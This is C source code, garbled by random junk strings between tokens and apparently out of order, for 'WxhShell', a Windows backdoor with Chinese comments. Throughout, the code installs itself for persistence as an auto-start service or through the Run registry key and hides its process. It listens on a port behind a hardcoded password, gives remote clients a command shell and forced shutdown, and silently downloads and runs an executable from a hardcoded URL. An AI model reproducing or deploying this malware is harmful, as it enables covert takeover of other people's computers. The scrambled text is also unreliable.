p )8yee~+TN HANDLE hProcess; OR^Wd PROCESS_BASIC_INFORMATION pbi; -j[n^y'v 5@Q4[+5&_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *[7,@S/<F if(NULL == hInst ) return 0; @:xO5L}Io HJ5m5':a g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :u{0M& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zux+ooU NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8y!fqXm%) N)h>Ie if (!NtQueryInformationProcess) return 0; @X/S
h: *ma/_rjK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xIrpGLPSh if(!hProcess) return 0; d#a Ik1,?A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h{sW$WA 2ezuP F CloseHandle(hProcess); WytCc>oL n a2"Sy=Yi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &bj :,$@ if(hProcess==NULL) return 0; =tH+e7it &U xN.vl HMODULE hMod; [NvEXTd char procName[255]; B:z -?u#B unsigned long cbNeeded; =,[46 ;q 6EK+] 0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6DJ,/J2F :<&}/r CloseHandle(hProcess); DcbL$9UI _|TE )h if(strstr(procName,"services")) return 1; // 以服务启动 n/?5[O-D] 5.[{PJ]bq return 0; // 注册表启动 9$Mi/eLG2N } dY\"'LtF e|Sg?ocR // 主模块 `z` `d*_ int StartWxhshell(LPSTR lpCmdLine) :/%Vpdd@ { \Zf&&7v SOCKET wsl; Ip4NkUI3T BOOL val=TRUE; sp**Sg) int port=0; g@Ni!U"_c struct sockaddr_in door; ITc/aX B@zJ\Ir[ if(wscfg.ws_autoins) Install(); R[&lk~a{= 4!k={Pd port=atoi(lpCmdLine); fe37T@ "}SERC7 if(port<=0) port=wscfg.ws_port; mZ;yk( cfeX(0 WSADATA data; +X*`}-3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FYcMvY ZVp\5V* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7Xad2wXn setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iY|YEi8 door.sin_family = AF_INET;
GoEIY door.sin_addr.s_addr = inet_addr("127.0.0.1"); -Ez| door.sin_port = htons(port); f6L_uk`{ zW0AB8l if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &vMH
AZd closesocket(wsl); :LBe{Jbw return 1; q<yH! } (C-z8R
Z6 ($S{td; if(listen(wsl,2) == INVALID_SOCKET) { t^CT^z closesocket(wsl); o~-X7)] return 1; BXfaqYb;Q } "j a0,%3 Wxhshell(wsl); ZHC sv]l WSACleanup(); [QZ~~(R z t,-O7I'1 return 0; n~&R_"mv( k9Sqp:l, } q6Q=Zo@ |Lhz^5/ // 以NT服务方式启动 oy r2lfz* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |~HlNUPR { z}Z`kq+C DWORD status = 0; 7lVIN&.= DWORD specificError = 0xfffffff; hx^a&" F7;xf{n< serviceStatus.dwServiceType = SERVICE_WIN32; Eq8OAuN serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?J~JQe42 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b<F 4_WF serviceStatus.dwWin32ExitCode = 0; bf74 " serviceStatus.dwServiceSpecificExitCode = 0; :T\WYKX3C serviceStatus.dwCheckPoint = 0; QhGg^h%6 serviceStatus.dwWaitHint = 0; Rm*}<JN31 9iF e^^<ss hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H~ZSw7!M8 if (hServiceStatusHandle==0) return; (j~V 9#iDrZW status = GetLastError(); 5dgBSL$A}] if (status!=NO_ERROR) JA{YdB;il { ^TEODKS serviceStatus.dwCurrentState = SERVICE_STOPPED; \W}EyA serviceStatus.dwCheckPoint = 0; lTB!yF.r| serviceStatus.dwWaitHint = 0; wFJK!9KA8 serviceStatus.dwWin32ExitCode = status; pt4xUu{ serviceStatus.dwServiceSpecificExitCode = specificError; poe Xi\e!( SetServiceStatus(hServiceStatusHandle, &serviceStatus); OpL 6Y+< return; w//w$}v } Y=rr6/k b}4/4Z. serviceStatus.dwCurrentState = SERVICE_RUNNING; N/%#GfXx serviceStatus.dwCheckPoint = 0; (t]>=p%4g serviceStatus.dwWaitHint = 0; wi9| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !n{c#HfG } UeICn@)\y $1?X%8V // 处理NT服务事件,比如:启动、停止 5{g9Wh[ VOID WINAPI NTServiceHandler(DWORD fdwControl) e6R"W9 { /J+)P<_ A switch(fdwControl) 7P`1)juA9 { (Z$6JNkz case SERVICE_CONTROL_STOP: &tgvE6/V serviceStatus.dwWin32ExitCode = 0; 2:N_c\Vi serviceStatus.dwCurrentState = SERVICE_STOPPED; q],R6GcVr serviceStatus.dwCheckPoint = 0; P\s+2/ serviceStatus.dwWaitHint = 0; 2Y4&Sba^Y { - X_w& SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6J
5)4^bk } [;=ky<K0E return; cLU*Tx\ case SERVICE_CONTROL_PAUSE: Q$vr`yV#=6 serviceStatus.dwCurrentState = SERVICE_PAUSED; YW{V4yW break; ? g{,MP5 case SERVICE_CONTROL_CONTINUE: v 2 GhR* serviceStatus.dwCurrentState = SERVICE_RUNNING; m6x. "jG break; Yy)a,clZ*$ case SERVICE_CONTROL_INTERROGATE:
`_'Dj> break; 3kQ ^f=Wd }; >slN:dr0: SetServiceStatus(hServiceStatusHandle, &serviceStatus); '&QT}B } X}-H=1T? f`,Hr?H // 标准应用程序主函数 .O#lab`:2 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YgiGI
<U { ee_\_" Tqa4~|6 // 获取操作系统版本 9AYe,R OsIsNt=GetOsVer(); @c!67Z GetModuleFileName(NULL,ExeFile,MAX_PATH); 4) 3pa* H ZLOn // 从命令行安装 (d;(FBk=' if(strpbrk(lpCmdLine,"iI")) Install(); iy82QNe 3=l-jGJk // 下载执行文件 B%@!\D# if(wscfg.ws_downexe) { ]2%P``Yj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \r%Vgne-g WinExec(wscfg.ws_filenam,SW_HIDE); VQ?H:1R } x#0@$ 9(F?|bfk if(!OsIsNt) { LQ@|M.$A // 如果时win9x,隐藏进程并且设置为注册表启动 IJc#)J.2A HideProc(); _~nex,;r StartWxhshell(lpCmdLine); R{o*O_qX } #@6L|$iX else c2\vG if(StartFromService()) )Zf}V0!?+ // 以服务方式启动 N#)VD\m StartServiceCtrlDispatcher(DispatchTable); E@jl: -*E else NoAb}1uae // 普通方式启动 MJ9SsC1 StartWxhshell(lpCmdLine); jN}7BbX ePpK+E[0Z return 0; ~9 WJrRWB } ,Q#tA|:8j '<=MhNh\ gqD^Bs'VF JGDUCb~ =========================================== m90R8 V (I[h.\% '(pdk d+2O^of:T 9H}iX0O y}-S~Ov>I " .(1j!B4^ 0^&R7Rv c #include <stdio.h> xnQGCw?S&} #include <string.h> O4PdN? #include <windows.h> {qWG^Db #include <winsock2.h> ?SO F
n #include <winsvc.h> m=iov2K> #include <urlmon.h> P>T*:!s ; 06@0r #pragma comment (lib, "Ws2_32.lib") To8v#.i #pragma comment (lib, "urlmon.lib") }Q=se[(( Zc3:9 #define MAX_USER 100 // 最大客户端连接数 5652'p #define BUF_SOCK 200 // sock buffer Z^`=!n-V #define KEY_BUFF 255 // 输入 buffer g}
~<!VpX 3:8nwt #define REBOOT 0 // 重启 4Eh BpTg
#define SHUTDOWN 1 // 关机 :$cSQ(q9a a H|OA\< #define DEF_PORT 5000 // 监听端口 WUWb5xA Rf(x^J{ #define REG_LEN 16 // 注册表键长度 @
U8}sH^ #define SVC_LEN 80 // NT服务名长度 ~:}XVt0%8 qv*uM0G6i // 从dll定义API 4fu\3A& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~sHZh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &]yJCzo] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y5i`pY/}#? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G2+)R^FSC D@(M+u9/% // wxhshell配置信息 ul=a\;3x#| struct WSCFG { ?J@?,rZQ^V int ws_port; // 监听端口 x$5nLS2. char ws_passstr[REG_LEN]; // 口令 mf;^b.mKh int ws_autoins; // 安装标记, 1=yes 0=no
h[|zs>p char ws_regname[REG_LEN]; // 注册表键名 dI
ZTLb"a char ws_svcname[REG_LEN]; // 服务名 C3b0`|5 char ws_svcdisp[SVC_LEN]; // 服务显示名 mf]( 3ZL char ws_svcdesc[SVC_LEN]; // 服务描述信息 K?Xo3W%K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1[/$ZYk: int ws_downexe; // 下载执行标记, 1=yes 0=no d[RWkk5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >,"D9! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i3 l #~ [mB(GL }; rxgVT4 tY$ty0y-e // default Wxhshell configuration ]k`Fl," struct WSCFG wscfg={DEF_PORT, 4'{hI;&a& "xuhuanlingzhe", 3^A/`8R7K 1, ,F?~'-K "Wxhshell", 28Ssb| "Wxhshell", ;x3 ]4^ "WxhShell Service", J<($L}T*$ "Wrsky Windows CmdShell Service", nhQ44qRgQ "Please Input Your Password: ", AeY$.b 1, %is,t<G "http://www.wrsky.com/wxhshell.exe", ny "Wxhshell.exe" 3dX=xuQ%/ }; 2 -p ycl>git] // 消息定义模块 ]EVe@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o3i,B),K char *msg_ws_prompt="\n\r? for help\n\r#>"; Xc9p;B>^Ts char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <(bCz>o| char *msg_ws_ext="\n\rExit."; N+C)/EN$ char *msg_ws_end="\n\rQuit."; \o62OfF! char *msg_ws_boot="\n\rReboot..."; FU(}=5n char *msg_ws_poff="\n\rShutdown..."; zhA',p@K?_ char *msg_ws_down="\n\rSave to "; ^iV`g?z d#vSE.& char *msg_ws_err="\n\rErr!"; 94h_t@Q/1 char *msg_ws_ok="\n\rOK!"; 0x]OF8=J ~D-JZx char ExeFile[MAX_PATH]; fNAo$O4cm int nUser = 0; 0[2BY]`Z. HANDLE handles[MAX_USER]; (ifqwl62 int OsIsNt; FD
XWFJ E*r SERVICE_STATUS serviceStatus; @tE&<[e SERVICE_STATUS_HANDLE hServiceStatusHandle; Rg8m4x w s}[A4`EWH // 函数声明 ;o_V!<$ int Install(void); 43{_Y] int Uninstall(void); PQU3s$ int DownloadFile(char *sURL, SOCKET wsh); w;yiX<t< int Boot(int flag); z@Z_] h
void HideProc(void); xqQ~| int GetOsVer(void); %0+h int Wxhshell(SOCKET wsl); <=)D=Ax/_[ void TalkWithClient(void *cs); _>gXNS r4u int CmdShell(SOCKET sock); '&.)T2Kw int StartFromService(void); R8=I)I-8 int StartWxhshell(LPSTR lpCmdLine); ?ae[dif v9t47>V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^)9MzD^_nV VOID WINAPI NTServiceHandler( DWORD fdwControl ); &O+sK4P f!M[awj% // 数据结构和表定义 h V|v6 _ SERVICE_TABLE_ENTRY DispatchTable[] = {z5V{M(|w3 { vgh^fa!/ {wscfg.ws_svcname, NTServiceMain}, j.=UI-&m {NULL, NULL} |<j,Tr1[ }; !"`@sd~ -~vl+L // 自我安装 RjR&D?dc int Install(void) C@TN5?Z { {[M0y*^64$ char svExeFile[MAX_PATH]; SE,o7_k'S HKEY key; KMxNH,5 strcpy(svExeFile,ExeFile); 2~G,Ia X
zi'Lu` // 如果是win9x系统,修改注册表设为自启动 $zk^yumdE if(!OsIsNt) { *Fa)\.XX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )K>Eniou RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S s@u,`pr RegCloseKey(key); Xmap9x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q vv\+Jp^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p3M#XC_H] RegCloseKey(key); rxs~y{Xi return 0; Z&+NmOY4 } /v}P)& } zuC 58B } e-[>( n/[ else { HG{&U:>) ~w
Zl2I // 如果是NT以上系统,安装为系统服务 .-SDo"K.h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g
,/a6M if (schSCManager!=0) 2-vJv+- { 55 S\&Ad$ SC_HANDLE schService = CreateService T-L|Q,-{- ( xoqiRtlY: schSCManager, p{iG{ wscfg.ws_svcname, @k=cN>ZMc wscfg.ws_svcdisp, D+@-XU<Lp< SERVICE_ALL_ACCESS, 5kGxhD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W4)kkJ SERVICE_AUTO_START, B<|:K\MA SERVICE_ERROR_NORMAL, .ocx(_3G svExeFile, Zu\p;!e NULL, Q0pC4WJ` NULL, ?TvQ"Y}k NULL, cZNi~ NULL, pwJ'3NbS NULL ZWf-X ); q*~gWn>T if (schService!=0) GY oZ$p" C { rPRrx-A CloseServiceHandle(schService); 38[)[{G)Hv CloseServiceHandle(schSCManager); cvZni#o2) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?j1_
n,d strcat(svExeFile,wscfg.ws_svcname); a$w},=
`E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VK @$JwdL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U8CWz!;Qz RegCloseKey(key); 6BDt.bG return 0; +68+PhHF } 2{Wo-B,wt~ } ~R :<Bw CloseServiceHandle(schSCManager); 7IA3q{P } V -q%r } E|pk. VLf
g[*k return 1; `@h:_d } m_c O<LB U{7 3Xax // 自我卸载 Up<~0 int Uninstall(void) HH"$#T^- { , p_G/OU
HKEY key; Wm<z?.lS ;KZrl` if(!OsIsNt) { HbNYP/MN3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qm
$(
RegDeleteValue(key,wscfg.ws_regname); -u6}T! RegCloseKey(key); o:_^gJ+| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sT)6nV RegDeleteValue(key,wscfg.ws_regname); ,VAp>x+O RegCloseKey(key); N*~_\x return 0; >Y}7[XK } UQ5BH%EPb } C1V# ?03eI } !tI=`Ml[ else { 3DH.4@7P p ss6Oz8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _)Qy4[S=d if (schSCManager!=0) ,
Hn7(^t { VJ3hC[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $Z/klSEf if (schService!=0) hF2/
y.:P { g]za"U|g if(DeleteService(schService)!=0) { 0Qm"n6NQ CloseServiceHandle(schService); j8pFgnQ CloseServiceHandle(schSCManager); SC'BmR"ox return 0; ^Z2kq2}a } , 7Xqte CloseServiceHandle(schService); *9J1$Wa } hL0]R,t;' CloseServiceHandle(schSCManager); (zY * 0lN } ,~- ?l7 } v51EXf U|8[#@r return 1; So#dJ> } iSlFRv?a o
w2$o\hC // 从指定url下载文件 =HMmrmz: int DownloadFile(char *sURL, SOCKET wsh) gC`)]*'tE { T j`y J!0 HRESULT hr; ^\:yf.k char seps[]= "/"; a'uU,Eb}#w char *token; 6)ycmu;!$ char *file; N0Gf0i> char myURL[MAX_PATH]; Uan,H1a char myFILE[MAX_PATH]; M`~!u/D7 sMH#BCC strcpy(myURL,sURL); co/7l sW
token=strtok(myURL,seps); =N_,l'U\^ while(token!=NULL) 9RxO7K { "IG+V:{ou file=token; k^^:;OR token=strtok(NULL,seps); h'l^g%; } X/Y#U\ GQx9u^> GetCurrentDirectory(MAX_PATH,myFILE); {7X#4o0 strcat(myFILE, "\\"); pW{8R^vKm strcat(myFILE, file); /&h+t^l_Qj send(wsh,myFILE,strlen(myFILE),0); "x&3Z@q7 send(wsh,"...",3,0); ?vu_k 'io hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >Rt9xP if(hr==S_OK) g]|_
` return 0; @rO4y` else $M':&i5`, return 1; =MC~GXJSNw v)):$s?WB } Wt J{ gLIT;BK // 系统电源模块 w>qCg XU3
int Boot(int flag) (S oo<.9~ { H0a-( HANDLE hToken; =Y9\DeIZ TOKEN_PRIVILEGES tkp; pcH<gF(k 'S?;J ,/ if(OsIsNt) { J{Tq%\a3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zhzy.u/> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,- '4L9 tkp.PrivilegeCount = 1; 6e .v&f7( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :
,p||_G& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bC~~5Cm if(flag==REBOOT) { Q2/.6O8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Fw<eY return 0; ] TSg!H } m_*R.a else { .#fPw_i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :[sOKV i return 0; =XT)J6z^" } TY.F pW } ,=o0BD2q else { e7xj_QH if(flag==REBOOT) { bU`=* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )`8pd 7<. return 0; \dq!q=b\ } ug*D52? else { s
/%:dnij if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @Z;1 g return 0; F
Z!J } Y-p<qL|_ } \k@Z7+&7 dB;3.<S= return 1; "&lN\&: } Z0ReWrl;` ~ y;y(4< // win9x进程隐藏模块 jxw_*^w" void HideProc(void) R8&|+ya { '<@=vGsye dTGA5c HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7zDiHac if ( hKernel != NULL ) = .oHnMX2M { *Oo &}oAj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e*]r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jtKn3m7 +p FreeLibrary(hKernel); :gI.l1 } a3@w|KLt lj2=._@R return; tNnyue{p } !e3YnlE Q_zr\RM> // 获取操作系统版本 b |7ja_ int GetOsVer(void) Y )b@0' { ZPO|<uR OSVERSIONINFO winfo; 7*s8ttX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R Fko>d GetVersionEx(&winfo); "Xn%at4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9"sDm}5% return 1; t`|,6qEG else V U~Dk);Bv return 0; #Hu~}zy } Ip?]K*sq op7FZHs // 客户端句柄模块 w([$@1] int Wxhshell(SOCKET wsl) sR=/%pVN {
k0H#:c} SOCKET wsh; z.)p
P'CJo struct sockaddr_in client; P<;7j? DWORD myID; ?KWj}|% *'R#4@wmP while(nUser<MAX_USER) A0xC,V~z { ~kKrDLW+ int nSize=sizeof(client); ^Jx$t/t wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
27 GhE if(wsh==INVALID_SOCKET) return 1; I@ \#up} D>sYPrf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V"RpH, if(handles[nUser]==0) oRq!=eUu_ closesocket(wsh); !/I0i8T else RT*5d;l0 nUser++; nr2r8u9r } RL}KAGK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YQ(Po!NI\' 2t1I3yA'{z return 0; `/Y+1 aD } q'S
=Eav8
cd. brM // 关闭 socket .%xzT J=! void CloseIt(SOCKET wsh) MZv\ C { i$UQbd closesocket(wsh); HJhH-\{@ nUser--; S>_27r{ ExitThread(0); ;-@= } }zMf7<C B|o%_:]+E // 客户端请求句柄 >a>fb|r void TalkWithClient(void *cs) {0yu {
Xm_$
dZ smU4jh9S SOCKET wsh=(SOCKET)cs; $v27]"] char pwd[SVC_LEN]; Y2T$BJJ char cmd[KEY_BUFF]; kA#vByf`v char chr[1]; 6*XM7'n int i,j; svhrf;3: rPiNv
30L while (nUser < MAX_USER) { \7Cg,Xn `l]j#qshTm if(wscfg.ws_passstr) { ~&VN_;j_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v}uJtBG( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &__DJ''+ //ZeroMemory(pwd,KEY_BUFF); GJQc!cqk i=0; Yx)o:#2 while(i<SVC_LEN) { I6w~H?ul@* B)=~8wsI:Z // 设置超时 ($!KzxF3 fd_set FdRead; rVryt<2:@r struct timeval TimeOut; ZX.TqvK/r FD_ZERO(&FdRead); XZph%j0o FD_SET(wsh,&FdRead); sbsu(Sz+ TimeOut.tv_sec=8; V1bh|+o9 TimeOut.tv_usec=0; |V&G81sM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1dG06<! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B~gV'(9g yTAvF\s$( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hWEnn=BW pwd=chr[0]; H{`{)mS if(chr[0]==0xd || chr[0]==0xa) { $k2)8 #\ pwd=0; [*Ju3 break; dcq#TBo8 } L-h$Z0]_F i++; -- k:a$Nt } WjMRH+ t#b0H)
// 如果是非法用户,关闭 socket .p@N:)W6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <,8l *1C } }NmNanW^ |X (2Zv^O send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Jlv"R1, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eti`O 'jaoO9KY
K while(1) { >|udWd^$3 T] | d5E ZeroMemory(cmd,KEY_BUFF); +]!lS7nsW r|R7-HI // 自动支持客户端 telnet标准 :#X[%"g. j=0; <+]f`c*Z while(j<KEY_BUFF) { q&si% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _PXdzeI. cmd[j]=chr[0]; 3C^1frF if(chr[0]==0xa || chr[0]==0xd) { ~!:0iFE&H cmd[j]=0; \L]|-f(4 break; <$Yi]ty } f} K`Jm_}? j++; l I-p_K } =xl~][ 1(gfdx9|b // 下载文件 mN}7H:, if(strstr(cmd,"http://")) { 1Ix3i9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); W)=%mdxW0 if(DownloadFile(cmd,wsh)) Fvl`2W94; send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%}(h2W else ;u-4KK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fwfo2 } Z!{UWegun else { n^9 ?~ )|]dmQ- switch(cmd[0]) { &7 [[h+Lb =nRuY' // 帮助 }C#3O{5 case '?': { oyeG$mpg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YD_]!HK} break; 1:NS}r+>3. } - r#K#v3 // 安装 :L$4*8@`+ case 'i': { ujzW|HW^v if(Install()) Y7Gs7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); NGTe4Crx else ')TPF{\# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,=By$.rr' break; T@48 qg } q)I|2~Q c^ // 卸载 hnxc`VX>g case 'r': { ARB7>" if(Uninstall()) v 81rfB5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'gTmH [be else NPJ.+ph send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (6qsKX break; f&I7,"v } @.$MzPQQI // 显示 wxhshell 所在路径 fE25(wCz7 case 'p': { bLS&H[fK char svExeFile[MAX_PATH]; Wmz`& |